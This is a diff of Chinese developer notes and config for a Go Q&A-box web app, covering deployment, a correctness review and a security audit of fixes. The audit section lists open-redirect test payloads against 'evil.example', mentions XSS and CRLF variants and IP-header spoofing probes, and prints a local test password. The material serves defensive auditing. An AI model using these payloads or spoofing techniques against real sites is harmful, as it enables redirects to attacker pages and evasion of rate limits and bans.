2026-10-29 已补齐:`vote.Page`/`vote.Submit` 拦 L4、`VotePublish` 拦 L2、探索页按 `ActiveLevels` 批量过滤。
## GORM(topics/gorm.md)
- 默认值必须带引号;事务里每句 `tx.WithContext(ctx)`;链式对象带状态,统计/更新各自重建 query。
- 软删除+唯一索引 = 槽位永久占用;级联删除一律 `Unscoped()`。
- **「用户主动删除」= 真删**:模型全带 `dbutil.Model` 的 `DeletedAt`,默认 Delete 是软删 ——
提交记录里的 `voter_ip`/文本、提问里的 `FromIP` 会永久留在库里。删投票/删提问已改
`Unscoped` 并收进一个事务(`Votes.DeleteWithCascade`、`Questions.DeleteByID`)。
- **配额必须与内容同事务**:`incrementQuotaTx(tx,...)` 是唯一实现;别在 handler 里
再补一次 `IncrementQuota`(那是独立写入,失败只 Warn → `quota_count` 永久偏低)。
注意口径按功能不同:提问/私聊是「条数」,投票是「累计收到的票数」。
## 前端样式(topics/style.md)
- `static/css/base.css`(`?v=` 取 `conf.StaticVersion`,改完 +1)。令牌在 `:root` + `html[data-theme="dark"]`,新样式一律 `var(--tb-*)`。
- 移动端(≤640px)语言/主题按钮在固定底栏 `#tb-mobile-utils`;箱主页**有意**无语言切换。
- **错误页不套模板**:`f.NotFound` 不经过组级中间件(`template.Templater`/`Contexter`
连同 session、CSRF 都在 `f.Group` 里),在里面注入 `template.Data` 会 panic。
404/500 统一走 `internal/route/errorpage.go` 的内联 HTML + `i18n.T`,
语言从 `Accept-Language` 猜(`pickErrorPageLang`)。Recovery 也是自写的。
- **提问者找回自己的提问**:`templates/question/{success,list}.html` + `POST /api/v1/ask-status`。
记录只在本机 localStorage;接口必须同时给对 token 才返回信息,三种失败情形响应完全一致。
- UIkit 3.3.3:`.uk-flex::before/::after{display:none}`;主色是编译期常量,需在 base.css 末尾映射。
- 视觉自检:`TEST_PREVIEW=1 go test ./templates -run TestGenPreview`;截图用 `chrome --headless=old`。
@@ -59,8 +89,28 @@
- 主题生成器 `dev/theme-builder/`:非破坏性图片处理、`layerSize`/`unitGeom` 必须共用同一函数、
`hideDeco` 会把 @media 10 槽全写 none(窄屏素材消失的头号来源)。
## 安全(topics/sec.md)
- 权威头 `CF-Connecting-IP` / `EO-Client-IP` 只在 TCP 对端可信(回环 或 `trusted_proxies` 命中)
才采信,公网对端一律忽略;唯一读取点 `internal/shared/ip.go`,别在别处另读 header。
- 生产回源 = cloudflared Tunnel 回本机(对端 127.0.0.1)→ 零配置;`trust_proxy` 两套环境都 true。
- **EdgeOne 已取消**(境内速度差)。重新启用前必须把 EO 回源网段写进 `trusted_proxies`,
否则 EO 线退化成按边缘 IP 聚合(限流互挤、自动封禁误伤整片)。`app.sample.ini` 已注明。
- 跳转参数只走 `shared.SafeRedirectTarget`;`url.Parse` 会解 `%0d%0a`,必须逐 rune 查 `u.Path`。
- **同一 handler 里 GET 有所有权校验 ≠ POST 有**(私聊 `SendMessage` 曾漏,可跨箱骚扰)。逐分支核对。
- CSP 默认 **enforce**(逃生口 `csp = report|off` 后重启);`script-src` 必须含 `mami.shiroko.one`
(umami 动态注入,grep 抓不到)与按 `sentry_dsn` 条件放行的 `browser.sentry-cdn.com`。
改 CSP 白名单后必须跑 `csp_sweep.py`(真浏览器巡检),静态检查不算数。
- 注册防枚举:邮箱重复/停用与正常注册共用同一个成功出口;代价是忘密只能走找回。
- **`flamego.Classic()` 自带 `Logger()` 会记 `RequestURI`(含 query)** —— `?t=` 私密题钥匙、
`?code=` 改密凭证都会明文进日志(已实测)。要自写访问日志,只记 `URL.Path`。
- 报告 `outputs/security-audit-2026-10-25.md` + 复现脚本 `outputs/sec-audit-2026-10-25/`;
非安全向的复盘见 `outputs/review-2026-10-29.md`。
## 其它约定(topics/misc.md)
- 健康检查:`/healthz` 永远 200(不碰任何依赖,只看进程活着)+ `/readyz` 查 DB(失败 503)。
别把 DB 检查并进 healthz —— 数据库抖动会让进程被反复重启,对恢复毫无帮助。
- 校验用 `valid:"required;maxlen:N"` 标签。
- 只有箱主 `/user` 面板,**无管理员角色、无站方后台**(用户要求不要加):站方动作只走 CLI / 邮件 / 改配置重启。
- CLI 有两个构建入口必须同步:根 `go build .` 与 Dockerfile 的 `./cmd/`。
+28
View File
@@ -32,3 +32,31 @@
(`go version` 显示的还是 shell 包装器的版本,容易误判成「版本没变」)。
解法:直接用缓存里的 toolchain 并禁用自动切换——
`PATH="$HOME/go/pkg/mod/golang.org/[email protected]/bin:$PATH" GOTOOLCHAIN=local go test ./...`
## 本地部署(WSL2 Debian,2026-10-27 打通)
用户本机有 WSL2 `Debian`(可 `wsl.exe -d Debian -u root` 免密进 root)。在这上面跑通了完整服务,
从此 HTTP 端到端不必「部署到测试站才能做」。要点:
- **GOROOT 是个坑**:`~/.bashrc` 里 `export GOROOT=/usr/local/go`(1.26.3)。用 `/opt/go/bin/go`
(1.27.3,从 dl.google.com 下的 tar 解到 /opt)时必须 `env -u GOROOT`,否则
`compile: version "go1.26.3" does not match go tool version "go1.27.3"`。
另:GOCACHE 被旧版本编译过也会报同样的错 → 换独立 `GOCACHE=~/.cache/go-build-tb`。
- **依赖**:`apt-get install redis-server python3 python3-requests gcc libwebp-dev pkg-config`
(有 libwebp 后 `internal/storage/s3.go` 正常编译,不再需要 s3stub overlay)。
session 与 cache 都硬依赖 redis,6379 不通就起不来;`systemctl start redis-server` 即可(WSL 有 systemd)。
- **库**:DSN 不带库名 → 连的是与用户名同名的库。测试还要 `CREATEDB` 权限(`NewTestDB` 自建临时库)。
`CREATE ROLE tamabox LOGIN PASSWORD '...' CREATEDB; CREATE DATABASE tamabox OWNER tamabox;
CREATE DATABASE nekobox OWNER tamabox; CREATE SCHEMA nekobox AUTHORIZATION tamabox;`
- **配置坑**:`data/data.txt` 里的 `[app] title`、`[server] xsrf_expire`、`[captcha] provider`、
`[rate_limit] *` 全是当前版本不认识的键(启动 WARN 后忽略)。验证码要关外网校验得写
`[recaptcha] captcha_type = math`。`external_url` 用 http → session cookie 不带 Secure,本地能登录。
- **进程托管**:`/etc/systemd/system/tamabox-test.service`(User=tamakyi、WorkingDirectory=源码目录、
ExecStart=<二进制> web、日志 append 到文件)。`systemctl restart` 必须 root,普通用户报 Access denied。
- **访问路径**:Windows 侧 `http://127.0.0.1:5877` 被本机别的进程占用(返回 502),要用
`http://<wsl eth0 ip>:5877`。这个差异正好白送一套 P1-3 的 A/B:
WSL 内 `curl 127.0.0.1` = 回环对端(模拟 cloudflared 回源),Windows 侧访问 = 非回环对端(模拟公网直连)。
- **抓 IP 伪造**:临时配 `ip_blacklist = 1.2.3.4` + `ip_blacklist_redirect_url`,带头 curl 看有没有 302,
比读日志直观;配合日志里的 `remote_addr` / `header_ip` 双重取证。
- **限流会绊脚本**:`/api/captcha/generate` 按 IP 限流,批量跑用例会 429,
`audit.get_captcha` 已加退避重试。SMTP 密码不对只会打日志(`526 Authentication failure`),不影响用例。
+72
View File
@@ -0,0 +1,72 @@
# 业务正确性 / 运维 / 前端体验(2026-10-29 第二轮复查)
安全向的结论在 `sec.md`。这里是非安全向的四类,完整清单见 `outputs/review-2026-10-29.md`。
> **状态**:下列「已实测确认的缺陷」「处置覆盖面」「Redis」三块已于同日修复并端到端验证。
> 紧接着做了第二批(P2 + 高价值 P3,共 9 项):投票结果 stale-while-revalidate、
> 三处幂等、私聊首条事务、`/healthz` `/readyz`、验证码失败保正文、`tbBeginSubmit`、
> waline 按页加载 / lazy / safe-area / i18n、5 处裸断言。
> 第三批(同日):删除投票/提问改事务 + 真删、配额与内容同事务、追问改回答不重复发信、
> token 常数时间比较 + CSV 注入补齐、写路径 fail-closed、真 404/HTML 500、
> 提问者找回自己的提问(localStorage + `/api/v1/ask-status`)。
> 条目保留是为了记住**为什么**会踩、以及验证该怎么做。
## 已修:两个 P0(都是实测出来的)
- **私聊 50 条截断(P0,已修)**:`internal/db/message.go` 的 `GetByConversationID` 是
`Order("created_at ASC") + Limit(50)`,而唯一调用方 `chat_handler.go:97` 永远传 `nil` cursor。
会话上限是 200 → 第 51 条起写库成功、`message_count` 在涨、页面显示 51/200,但列表永远只有最早 50 条。
实测造 55 条,页面只渲染 #1–#50。**取最新 N 条要 `Order("id DESC")` 再内存反转**;
游标 `id <` 也必须配 DESC(配升序会反复返回同一页)。
- **访问日志泄露 token(P0,已修)**:`flamego.Classic()` = `Use(Logger(), Recovery(), Static())`,
`Logger()` 记的是 `ctx.Request().RequestURI`(含 query)。实测出现
`path=/_/tblocal/4?t=SECRETTOKEN123`。`?t=` 是私密题钥匙,`?code=` 是改密凭证。
**tracing 中间件早就为同一风险避开 RequestURI 并写了注释,框架默认 Logger 漏了。**
改用 `flamego.New()` + 自写访问日志,只记 `URL.Path` 与白名单 query key。
## 处置(restrict)的覆盖面(投票已补齐)
- 提问链路 7 处 `ActiveLevel`(page L4 / question L3 / setPublic L2 / followUpAnswer L2 / shareCard 全级 / ListAPI L4 / moderation 锁定)。
- **投票链路 0 处**:`vote.Page`、`vote.Submit`、`VotePublish` 都不查。L4 处置后 `/_/domain` 已 302 到
`/restricted`,但 `/vote/{token}` 照常可投、可发新投票、探索页照常曝光。
- **教训:新增任何「用户发起」的写入口,都要问一句「这里要不要查 ActiveLevel」。**
## 运维面
- **无优雅关闭**(已修):全仓 `signal.Notify` / `server.Shutdown` 零命中,SIGTERM 直接杀进程。
`web.go` 里 `ListenAndServe` 一把梭。每次部署都掐断在途 POST。
- **Redis 两种故障**(已修):session 走 Redis 时 load 失败会 `panic`(flamego/session),被 Recovery 兜成 **全站 500**;
`cache.Cacher` 没写 `if conf.Redis.Addr != ""`,空 Addr 被 go-redis 回退 `localhost:6379` →
「不配 Redis」的部署里找回密码静默坏掉、私信邮件节流失效。启动时该 `PING` 一次并 fail fast。
- `ReadTimeout: 30s` 与 8MB 单图上限冲突(手机 4G 上行 1–2 Mbps → 8MB 必超时),正文也一起丢。
- 无 `/healthz`:`route.Home` 不碰 DB,DB 挂了 `/` 仍 200。
- `Dockerfile` 用 `golang:1.20` 而 `go.mod` 是 1.27.3 → **构建必失败**;`-X` 路径还是旧仓库名
`github.com/NekoWheel/NekoBox`,`BuildCommit` 永远是 `dev`。
- AutoMigrate 无版本化:GORM 只加列不删列,**改列名会静默留下旧列 + 新列全 NULL**,比迁移失败更难发现。
- 备份只有 `docs/cli.md` 一句 `pg_dump`;用户图片全在对象存储,**只恢复 DB = 全站裂图**。
## 前端
- `templates/question/history-template.html` 有硬编码中文(查看回答 / 加载更多 / 无更多留言),en/ja 用户直接看到。
`vote/page.html:140` 中英混排。**字典本身 917 条 × 4 语言完全对齐(有测试守着),问题只在模板层。**
- 提问页验证码失败走 `SetErrorFlash + Redirect` → **整段提问内容丢弃**;其他分支都是
`SetError + Success` 保留内容。最常见的失败反而最不该丢内容。
- `form.submit()` 不触发 submit 事件 → 验证码流(默认 captcha_type)完全没有防重复点击。
- `waline.js` 全站加载但只有 `home.html` / `item.html` 用;UIkit CSS 走第三方 CDN 且阻塞首屏。
- 32 个 `<label>` 无 `for=`;语义标签白字对比度约 1.9:1;全仓零 `loading="lazy"`。
- 移动端 `body{padding-bottom:56px}` 与 `env(safe-area-inset-bottom)` 冲突,iPhone 上遮住约 32px。
## 产品缺口(按 ROI)
1. **提问者找不回自己的提问**:不填邮箱时唯一手段是成功页那条链接,关页即失联。
全仓 `localStorage` 零命中。最小解:前端记 `{domain, id, token}`,箱主页显示「你有 N 条提问已被回答」。
2. **箱主没有自己的数据**:`SiteAnalytics` 是全站聚合(只有 `COUNT(DISTINCT user_id)`),
**全站没有 page view 表**。箱主不知道自己被看了多少次、回答率多少。
3. `NotifyType` 只有 `email` / `none`,无 Telegram / Webhook。
4. 模板零 `application/ld+json`(SEO 富摘要),无 RSS。
5. 图片原图直传,无前端压缩。
## 这一轮确认「不用动」的
四语言字典对齐、深色模式正文对比度 4.8–6.8:1、gzip 实现(204/304/Content-Length/Vary/Flusher 都处理对了)、
后台移动端短标签方案。这几块质量高于平均,别为了统一风格去改。
+135
View File
@@ -0,0 +1,135 @@
# 安全评估与客户端 IP 信任
报告:`outputs/security-audit-2026-10-25.md`;复现脚本 `outputs/sec-audit-2026-10-25/`(可重跑)。
## 客户端 IP 采信(P1-3,2026-10-26 已修)
- 唯一读取点:`internal/shared/ip.go` 的 `ResolveClientIP`,23 处调用共用。
**不要在别处另读 `CF-Connecting-IP` / `EO-Client-IP`**,否则绕过校验。
- 规则:权威头只在 `headerSourceTrusted(remote)` 为真时采信 ——
对端是回环地址,或命中 `trusted_proxies`。公网对端带来的权威头一律忽略,回退 remote。
- XFF / X-Real-IP 仍只认 `trusted_proxies`;回环**不**隐含信任这两个头。
- 公网对端却带权威头 → 进程内一条 WARN(`remote_addr` + `header_ip`)。
出现这条日志 = 要么有人在伪造,要么 CDN 直连回源但没登记网段。
- 不能靠「哪个头存在」推断请求走了哪家 CDN:客户端自带任意头都能反向利用。
## 部署形态
- 生产/测试都是 `trust_proxy = true`,回源 = **cloudflared Tunnel 回本机**(对端 127.0.0.1),
因此修复后零配置变更。
- **EdgeOne 已取消**(境内访问速度不理想),当前只有 Cloudflare 一条线。
重新启用前必须把 EO 回源网段写进 `[security] trusted_proxies`,否则 EO 线退化成按边缘 IP 聚合
(限流互挤、自动封禁误伤整片)。注释已写进 `conf/app.sample.ini`。
- `box.shiroko.one` CNAME 到第三方 `cloudflare.182682.xyz`(CF SaaS 优选),该 zone 的
Transform/WAF 不归我们管 —— 别把安全前提建立在那边的规则上。
- 源站隐藏:外网尽力排查(A 记录 / certspotter 51 个子域 / MX / 候选 IP)未找到直连入口;
仍须服务器侧 `dev/security-selfcheck.sh local` 确认 `listen = 127.0.0.1:5877`。
## 实测确认「防护到位」(别重复怀疑)
CSRF 绑 uid(无 token POST → 400);18 条 XSS 载荷全灭(含实体编码、`java\tscript:`、
协议相对 `//`、反斜杠);跨箱题目/投票越权全 302;页面密码对主页/整箱分享图/单题分享图/API
四个出口都生效;pixel/service/ShareCard 无 SSRF;`exec cwebp` 不接用户输入;SMTP 默认校验证书;
`RegenerateID` + `pwd_ver`;TLS1.0/1.1 拒绝;无 CORS 头;测试站蜜罐已开。
## 已修(2026-10-26)
- **P1-1** 外链 `<img>`:`markdown.go` 的 `safeImageSrc` 只放行站内相对路径与自有图片 CDN 主机
(配置来源 `image_bucket_cdn_host` / `aliyun_bucket_cdn_host` / `<bucket>.<endpoint>` / `external_url`);
`a[href]` 仍允许外站。无合法 src 的 img 整段丢弃。
- **P1-2** 密码:page/ask 密码 `minlen:6`(`form.PasswordMinLen`)+ handler 二次校验;
提问密码比对挪到验证码之后(`askPasswordDenied`,私聊与普通提问各调一次);
页面密码失败锁定 `shared.AttemptLimiter(5, 10min, 10min)`,键 = 箱主ID + LimitKey(IP)。
- **P1-3** 权威头:见上「客户端 IP 采信」。
- 部署后验收:`python outputs/sec-audit-2026-10-25/verify_p1_fixes.py`,四项应全 PASS
(旧版本上实测四项全 FAIL)。跑完会自动还原严格度/密码/测试提问。
## 第二轮修复(2026-10-27,P2/P3 全清)
- **跳转白名单收敛为唯一实现 `shared.SafeRedirectTarget`**(`internal/shared/redirect.go`),
登录 `to` 与 `/_/<domain>/password` 的 `next` 共用。规则:拒绝空/含 `\`、控制字符、空格;
必须单斜杠开头、非 `//`;`url.Parse` 后不得有 Scheme/Host/User/Opaque;遍历 `u.Path` 的 rune
拒 `\`、`<0x20`、`0x7f`(**关键**:`url.Parse` 会把 `%0d%0a` 解码成 CRLF,只看原始串抓不住);
最后 `path.Clean` 再验一次前缀。测试在 `redirect_test.go`(25 条定向 + 全量不变式)。
- **注册防枚举**:邮箱重复/已停用与全新注册走**同一个** `registerSucceeded(ctx)` 出口
(302 → `/login`、无 alert),日志里才留痕。域名占用仍明文提示(不然用户没法选)。
代价:忘密用户只能走「找回密码」。
- **CSP**:`internal/route/csp.go` + `[security] csp = off|report|enforce`(默认 report)、
`csp_report_uri`。`script-src` 白名单必须含 **`https://mami.shiroko.one`**——
`templates/base/header.html` 用 `document.createElement("script")` 动态注 umami,
静态 grep `<script src=` 抓不到,切 enforce 后会在无头 Chrome 里报违规。
存储 API endpoint(`r2.cloudflarestorage.com` 等)**不要**写进 CSP,只登记对外发资源的 CDN 域。
- **`no-store`**:`/user`、`/_*` 命中 `isNoStorePath`,`/share-card` 例外(要能被爬)。
- **`securityHeaders` 注册顺序**:原先排在静态资源中间件之后,静态文件拿不到 nosniff/HSTS,已前移。
- **封禁落库** `internal/db/ban_record.go`(`ban_records`:ban_key/reason/duration_minutes/expires_at),
`newBanner()` 的 `OnBan` 异步写(3s 独立 ctx,失败只告警,store 为 nil 直接跳过)。
- 其它:token 比较改 `subtle.ConstantTimeCompare`;`/explore` 页码上限 500;
429 统一 `tooManyRequests()`(带 `Retry-After`);`ctx.JSON/JSONError` 显式补 Content-Type。
## 全局复查新发现(2026-10-27)
- 🔴 **私聊 `SendMessage` 缺所有权校验**(高危):`internal/route/chat/chat_handler.go` 只有 GET 分支
校验 `conv.OwnerID != pageUser.ID`,POST 没有 → 被拉黑的人换个 domain 就能继续往他人会话发消息、
触发邮件、绕过屏蔽词与日限额。已补校验 + `verify_chat_owner.py` 端到端 3/3 + **变异验证**
(去掉校验后「换 domain 不能操作他人的会话」立刻变红)。**教训:同一 handler 里 GET 有校验
不代表 POST 有,逐分支核对。**
- 🟡 页面密码 `next` 与 P2-3 同源缺陷(`/\evil` 外跳),随白名单收敛一并修好。
- 🟡 **分享卡字体**:无可用字体时每个请求要烧 0.7–4s CPU,而 `/share-card` 是公开端点。
现在成功永久缓存、失败缓存 1 分钟(`fontFailRetry`);实测连发 3.44s → 0.53s。
### 分享卡字体的硬限制
`github.com/golang/freetype` **只支持 TrueType(glyf)轮廓**,CFF/OTTO 一律报 `bad TTF version`。
`NotoSansCJK-Regular.ttc` 是 OTTO → 就算 `ttcFirstFont()` 正确提取出子字体也仍不可用。
`.ttc` 是字体集合,需先按 `ttcf` 魔数 → `numFonts` → 子字体偏移 → 重排 sfnt header + 表目录
(4 字节对齐)才能交给 freetype(`route/question/ttc.go`,测试 `ttc_test.go` 自造最小 TTC)。
**2026-10-27 已收敛**:`fontCandidates()` 补 glyf 系统候选(wqy-zenhei / wqy-microhei /
DroidSansFallbackFull / uming)且排在 Noto(CFF) 之前;`static/fonts` 同时按 CWD 与可执行文件目录找;
`CheckShareCardFont()` 在 `runWeb` 启动时探一次(Info 打路径 / WARN 给 `apt install fonts-wqy-zenhei`)。
本地实测该 apt 包即可零配置出图(`/share-card` 500 → 200 image/jpeg)。生产同理,别用 Noto CJK。
## 仍待决策/未做
- 限流/失败计数迁 Redis(单进程内存态,多副本会各算各的)—— 明确不做,配置注释已写明单副本前提。
- 匿名投票清 cookie 即换身份:只加了结果页匿名说明,未做 IP 唯一索引(会被 NAT/移动网误伤)。
- 颜色字段只校验长度(有 Go 上下文转义兜底,非安全问题)。
- P1-1 残余:存量内容里的外链 img 仍在库里,仅渲染层不再输出;将来若加「原样导出」入口会复发。
- CSP 默认 **enforce**(2026-10-27 定):不给 `csp_report_uri` 的 report-only 等于没装,
留个不生效的开关更容易让人误以为已防护。白名单由 `csp_sweep.py` 真浏览器巡检背书
(18 页面 + 2 图片端点,零违规);误伤时的逃生口是 `csp = report|off` + 重启,不用改代码。
- **Sentry CDN 是条件白名单**:`header.html` 的 Sentry 在 `{{ if ne SentryDSN "" }}` 里,
静态 grep 和本地巡检都碰不到 → 按 `conf.App.SentryDSN` 条件放行,单测双向断言。
## 复现脚本怎么跑(踩过的两次假红,别再误判成回归)
- 四套脚本默认目标是**远端** `box-dev-api`(`audit.py` 的 fallback),在本地实例上验证
必须显式给环境变量,否则 4/4 全 FAIL —— 那是「远端没部署修复」,不是回归:
`PYTHONDONTWRITEBYTECODE=1 TB_BASE=http://172.27.49.117:5877 [email protected]
TB_PWD='TbLocal!2026' TB_DOMAIN=tblocal <脚本>`(Windows 侧 127.0.0.1:5877 被占,需用 WSL eth0 IP)。
- **`verify_chat_owner.py` 必须在 WSL 里跑**:它直接调 `psql` 查库,Windows 侧 `psql` 会连到
宿主自己的 PostgreSQL 18(`/c/OtherFiles/PostgreSQL/18/bin/psql`),账号/库都不对;且 psql 的中文
报错是 GBK,Python 按 UTF-8 解会先抛 `UnicodeDecodeError` 把真实错误吃掉。WSL 侧:
`cd /mnt/c/.../sec-audit-2026-10-25 && TB_BASE=http://127.0.0.1:5877 ... python3 verify_chat_owner.py`。
- 页面密码入口限流 **10 次/分钟/IP**,`verify_page_next.py` 一次要 POST 6 次 → **一分钟内连跑两次**
会从第 5 项开始 `status=429`;`verify_p1_fixes.py` 的 p1-2c 还会把「本机 IP + 测试箱」锁 10 分钟。
两者都靠 `systemctl restart tamabox-test` 清内存态。顺序:先 `verify_page_next.py`,再 `verify_p1_fixes.py`。
- 判据别写「Location 里不含 evil」这种弱断言:一旦被限流/锁定停在密码页也会假绿。
`verify_page_next.py` 已改成精确比对 `Location == /_/<domain>`、429 单独报,且**每条载荷开新会话**
(验证通过会给会话发通行标记,复用会话的话后面几条根本不走密码校验)。
- 残留:`verify_round2.py` / `verify_chat_owner.py` 会注册临时账号(`verify*@example.com`);
跑完 `DELETE FROM nekobox.users WHERE email LIKE 'verify%@example.com'`(无 FK,先确认
conversations/questions/votes 无关联行)。
## 本地部署实测(2026-10-27,WSL)
- 三项 P1 在真实实例上端到端复验通过:P1-1 正/负与变体、P1-2a/b/c、P1-3 的可信/不可信对端 A/B
(探针用临时 `ip_blacklist = 1.2.3.4`:回环对端 + `CF-Connecting-IP: 1.2.3.4` → 302 命中;
跨主机对端同样头 → 200 忽略,日志出 `remote_addr` / `header_ip` 的 WARN)。
- ⚠️ **P1-1 白名单的坑(已修)**:配置里 `image_bucket_cdn_host` 实际写成 `host/path`
(本项目就是 `r2.337845818.best/tamabox`),整串当主机名比 → 自家图被剥。
现在统一走 `normalizeHostLike()`(补协议 → url.Parse → Hostname),并把 S3 endpoint 主机自身也入白名单
(R2 path-style 链接是 `<endpoint>/<bucket>/…`)。**白名单类单测必须照抄生产配置写法。**
- **P2-3 实测确认可利用**:`/login?to=/\evil.example` → `Location: /\evil.example`,
WHATWG 解析为 `http://evil.example/`;`\\evil.example` 同样外跳;`//`、`///` 已被规整。
正文渲染侧同类载荷是安全的(`<a href="/\example.org">` → `<a>`),缺口只在跳转参数。
+54 -12
View File
@@ -66,19 +66,61 @@ trust_proxy = false
;
; —— 双 CDN(境内腾讯 EdgeOne + 境外 Cloudflare)场景 ——
; EdgeOne 回源会用 EO-Client-IP 携带客户端真实 IP(等效 CF-Connecting-IP),
; 本程序在 trust_proxy=true 时已同时信任这两个权威头。
; 两家 CDN 并存时必须:① 防火墙仅放行两家回源网段;② 在各家 CDN 的规则引擎中
; 删除回源请求里「对方 CDN」的权威头(经 EdgeOne 回源删 CF-Connecting-IP、
; 经 Cloudflare 回源删 EO-Client-IP),否则攻击者可借道另一家伪造客户端身份,
; 绕过限流 / 自动封禁 / 单 IP 投票限制。详细步骤见 outputs/edgeone-cloudflare-dual-cdn-guide.md。
; 本程序在 trust_proxy = true 时同时支持这两个权威头。
; ⚠️ 权威头只在「TCP 对端可信」时才被采信(回环地址,或命中 trusted_proxies)。
; 这条是代码里的硬约束,不再依赖运维纪律 —— EdgeOne 不剥离客户端自带的 CF-Connecting-IP,
; 旧实现无条件优先读它,导致经 EdgeOne 进来的请求客户端 IP 完全可控:
; 限流 / IP 黑名单失效,且 autoban 按假 IP 记账可被用来栽赃任意正常用户。
; 双 CDN 并存时:① 两家回源网段都登记到 trusted_proxies;② 防火墙仅放行两家回源网段;
; ③ 仍建议在各家规则引擎里删掉「对方 CDN」的权威头(纵深防御)。
; 仅用 cloudflared Tunnel 回本机时对端是 127.0.0.1,无需任何额外配置。
; 重新启用 EdgeOne 前请先按本节核对,步骤见 outputs/edgeone-cloudflare-dual-cdn-guide.md。
trusted_proxies =
; 逗号分隔的「你自己的」反向代理/负载均衡 IP 或 CIDR(如 127.0.0.1、
; 10.0.0.0/8)。仅当 TCP 对端落在该清单内时才解析 X-Forwarded-For / X-Real-IP。
; 留空(默认)则这两个头永不被信任,仅采用 CDN 权威头 CF-Connecting-IP /
; EO-Client-IP(需源站已锁定)。
; 注意:此清单用于你自己的基础设施,不是 CDN 的全量 CIDR 清单。
; 自动封禁(fail2ban 风格):检测到批量扫描/探测后临时封禁来源 IP
; 逗号分隔的「你自己的」反向代理/负载均衡 IP 或 CIDR(如 10.0.0.0/8),
; 或「CDN 直连回源」形态下该 CDN 的回源网段。
; 回环地址(127.0.0.1 / ::1)无需登记即视为可信对端:cloudflared / 本机 nginx
; 回源的连接必然由本机进程发起,外部无法伪造。
; 除回环以外,CDN 权威头也必须对端命中本清单才会被采信 —— 公网对端带来的
; CF-Connecting-IP / EO-Client-IP 一律忽略,改用 TCP 对端地址。
; 仅当 TCP 对端命中本清单时才解析 X-Forwarded-For / X-Real-IP。
; 注意:此清单用于你自己的基础设施(含你选定 CDN 的回源网段),
; 不是 CDN 的全量 CIDR 清单。
; 内容安全策略(CSP)模式:off / report / enforce,留空等同 report。
csp = enforce
; enforce(默认):真正拦截。脚本白名单由代码从 [upload] 的图片 CDN 域名与
; [recaptcha] 的域名自动派生,另内置模板实际引用的 cdnjs.snrat.com
; (UIkit/Alpine/dayjs/vConsole)、challenges.cloudflare.com 与 umami 统计域;
; 配了 sentry_dsn 时自动放行 browser.sentry-cdn.com。
; ⚠️ 日后新增第三方脚本 / 字体 / 接口域名,必须同步加进 internal/route/csp.go,
; 否则控制台会刷 "Refused to load ..." 且对应功能静默失效。
; report:只下发 Content-Security-Policy-Report-Only,页面照常加载,违规只进浏览器
; 控制台(配了 csp_report_uri 才上报)。不给上报地址时它等于没装,
; 所以只在「怀疑误伤、想先看证据」时临时用。
; off:完全不下发(排障逃生口)。
; 默认值的前提是白名单已用真浏览器逐页巡检过:
; outputs/sec-audit-2026-10-25/csp_sweep.py(20 个页面零违规)。
; 上线后发现误伤:把这里改成 report 或 off 再重启,不用改代码。
; 图片 / 样式 / 字体 / 连接放宽到 https:(箱主上传图与主题背景可能落在任意 CDN),
; 真正收紧的是 script-src、object-src、base-uri、form-action、frame-ancestors。
; report:只下发 Content-Security-Policy-Report-Only,页面照常加载,违规只进浏览器
; 控制台(配了 csp_report_uri 才上报)—— 用于上线前观察一周再切 enforce。
; enforce:真正拦截。脚本白名单由代码从 [upload] 的图片 CDN 域名与 [recaptcha] 的域名
; 自动派生,另内置模板实际引用的 cdnjs.snrat.com(UIkit/Alpine/dayjs/vConsole)
; 与 challenges.cloudflare.com。
; ⚠️ 日后新增第三方脚本 / 字体 / 接口域名,必须同步加进 internal/route/csp.go,
; 否则控制台会刷 "Refused to load ..." 且对应功能静默失效。
; off:完全不下发(排障逃生口)。
; 图片 / 样式 / 字体 / 连接放宽到 https:(箱主上传图与主题背景可能落在任意 CDN),
; 真正收紧的是 script-src、object-src、base-uri、form-action、frame-ancestors。
; CSP 违规上报地址(可选)。留空时违规只进浏览器控制台,不上报。
csp_report_uri =
; ⚠️ 限流与自动封禁的计数器都在进程内存里(internal/route/ratelimit.go、
; internal/security/autoban)。单副本部署(当前形态:cloudflared Tunnel 回一台机器)
; 下工作正常;一旦改成多副本 / 多机,每个副本各有一份计数(实际额度 × 副本数),
; 进程重启即清零。多副本前必须先把计数迁到 Redis。
; 封禁「事实」已落库(ban_records 表:键 / 原因 / 时长 / 到期时间),
; 重启丢的只是生效状态,账本还在。
enable_auto_ban = true
; 是否把「未注册路径的 404」计入封禁统计(默认 false)。正常业务
ban_track_notfound = false
@@ -313,4 +355,4 @@ timezone = Asia/Shanghai
default = default
available = default,sakura,shiroko,new-sakura
; ⚠️ 没登记在 available 里的主题,即使 css 已随二进制发布也不会出现在设置页;
; 启动日志会打出「[theme] available 未登记以下主题」提醒。,shiroko
; 启动日志会打出「[theme] available 未登记以下主题」提醒。
+31
View File
@@ -0,0 +1,31 @@
#!/usr/bin/env bash
# 把 Windows 侧工作区同步到 WSL 里的测试部署目录。
#
# 为什么不能直接 rsync --delete:WSL 侧有几份「只存在于目标机」的文件,
# 源目录里没有它们,--delete 会把它们当多余文件删掉:
# - conf/app.ini 本地测试配置(数据库密码、对象存储密钥;模板见 dev/wsl-app.ini)
# 第一次踩这个坑时整份 app.ini 被删,服务器重启后起不来。
#
# 用法:在仓库根目录执行
# bash dev/sync-wsl.sh
set -euo pipefail
SRC="$(cd "$(dirname "$0")/.." && pwd)"
DST=/home/tamakyi/tb/src
cd "$SRC"
tar -cf - \
--exclude=.git \
--exclude=outputs \
--exclude=.workbuddy \
. 2>/dev/null |
wsl -d Debian -e bash -c '
set -e
DST=/home/tamakyi/tb/src
rm -rf /tmp/tbsync && mkdir -p /tmp/tbsync
tar -xf - -C /tmp/tbsync
# 只同步代码与资源,绝不动目标侧的 conf/app.ini
rsync -a --delete --exclude "conf/app.ini" /tmp/tbsync/ "$DST"/
rm -rf /tmp/tbsync
echo "SYNCED -> $DST"
'
+1 -1
View File
@@ -125,7 +125,7 @@ require (
github.com/projectdiscovery/blackrock v0.0.2 // indirect
github.com/projectdiscovery/retryabledns v1.0.115 // indirect
github.com/projectdiscovery/utils v0.11.1 // indirect
github.com/redis/go-redis/v9 v9.5.1 // indirect
github.com/redis/go-redis/v9 v9.5.1
github.com/richardlehane/mscfb v1.0.4 // indirect
github.com/richardlehane/msoleps v1.0.1 // indirect
github.com/rivo/uniseg v0.4.7 // indirect
+33
View File
@@ -58,6 +58,39 @@ func (c *TTLCache) Get(key string) (interface{}, bool) {
return e.value, true
}
// GetWithExpiry 读取缓存值与其过期时间,**不判断、不删除**过期条目。
//
